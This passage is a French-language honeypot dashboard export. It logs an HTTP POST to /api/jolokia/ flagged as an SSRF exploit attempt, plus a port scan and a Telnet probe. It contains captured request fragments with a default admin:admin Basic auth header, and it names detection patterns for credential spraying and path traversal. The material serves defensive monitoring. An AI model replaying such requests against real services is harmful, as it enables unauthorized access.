"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
2323
|
—
|
Scan de ports
port scan syn · port 2323 · (reconnaissance)
|
Élevée
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
Protocole
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2323
Chemin / cible
—
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +8
Risque capteur
Moyen
· 42
Confiance : Confiance élevée (100 %) — signaux convergents
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "registered",
"org": "Nodestop LLC",
"service": null,
"app_proto": null,
"asn": 400536,
"country": "US",
"dst_port": 2323,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 0,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0
},
"risk_score": 42,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "0a9b74886e486ba4acbe70b57f1ae28f3c04d198",
"event_fingerprint": "8363142c9798ea7690238f7a7bcb010f142371b5",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"named_classification_skipped": false,
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 2323,
"risk_score": 42
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "59bee7d037e67d3a6bbb977c7430d7e2e1235718",
"protocol_details": {
"port": 2323
},
"attack_vector": "port scan syn \u00b7 port 2323 \u00b7 (reconnaissance)",
"target_port_label": "2323",
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": null,
"service_label_fr": null,
"dst_port": 2323,
"protocol_emulated": null,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"port": 2323
},
"attack_vector": "port scan syn \u00b7 port 2323 \u00b7 (reconnaissance)",
"evidence_snippet": null,
"target_port_label": "2323",
"emulator_service": null,
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "generic",
"service_banner": "honeypot",
"service_os": "linux",
"dst_port": "2323"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"port:2323",
"telnet"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "reconnaissance",
"matched_patterns": [],
"ban_policy": "advisory_monitor"
}
|
|
|
TCP |
23 · Telnet
|
telnet
|
Sonde Telnet (23/TCP)
port 23 tcp · via Telnet:23 · (sonde / probe)
|
Élevée
|
Moyen · 42
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
TELNET
WAF
—
Recommandation
Surveiller
Tags
net_telnet_probe
telnet_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
23
Chemin / cible
—
Preuve honeypot — Sonde Telnet (23/TCP)
Connexion détectée sur le port 23 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_23_tcp » (signaux protocolaires) · confiance 55%
Confiance classification
63%
Corrélation +8
Risque capteur
Moyen
· 42
Confiance : Confiance 55 % — Classification nommée non retenue — preuves insuffisantes
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "fffb01fffb03fffd180d0a5562756e74752032322e3034204c54530d0a686f6e6579706f74206c6f67696e3a20",
"emulator_response_len": 45,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "well_known",
"org": "Nodestop LLC",
"service": "telnet",
"app_proto": "telnet",
"asn": 400536,
"country": "US",
"dst_port": 23,
"risk_waf": 8,
"risk_classification": 38,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.4,
"risk_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "ee98e358747c5d752a0eb3d3b34c59d0ffe7f883",
"event_fingerprint": "79b983d64b1c5573cc70fb9163374500a6810d67",
"classification_reason": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"confidence": 0.63,
"classification_confidence": 0.63,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"named_classification_skipped": true,
"named_candidate": "telnet_probe",
"service_name": "telnet",
"risk_confidence_factor": 55,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "2bb94c377622e6c9a2e704e9148568af"
},
"target_context": {
"dst_port": 23,
"service": "telnet",
"service_name": "telnet",
"risk_score": 42
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "375a927bb9bbd2eb33edd9b4264c0c0b9afc3f8d",
"protocol_details": {
"port": 23,
"service": "telnet",
"service_label_fr": "Telnet"
},
"attack_vector": "port 23 tcp \u00b7 via Telnet:23 \u00b7 (sonde \/ probe)",
"target_port_label": "23 \u00b7 Telnet",
"emulator_service": "telnet",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"classification_reason_label_fr": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 42\/100",
"confidence_pct": 63,
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "telnet",
"service_label_fr": "Telnet",
"dst_port": 23,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-telnet",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"port": 23,
"service": "telnet",
"service_label_fr": "Telnet"
},
"attack_vector": "port 23 tcp \u00b7 via Telnet:23 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "23 \u00b7 Telnet",
"emulator_service": "telnet",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"confidence_factors_fr": "Confiance 63 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "telnet",
"service_banner": "honeypot-telnet",
"service_os": "linux",
"dst_port": "23"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"telnet"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_telnet_probe",
"telnet_emulated"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
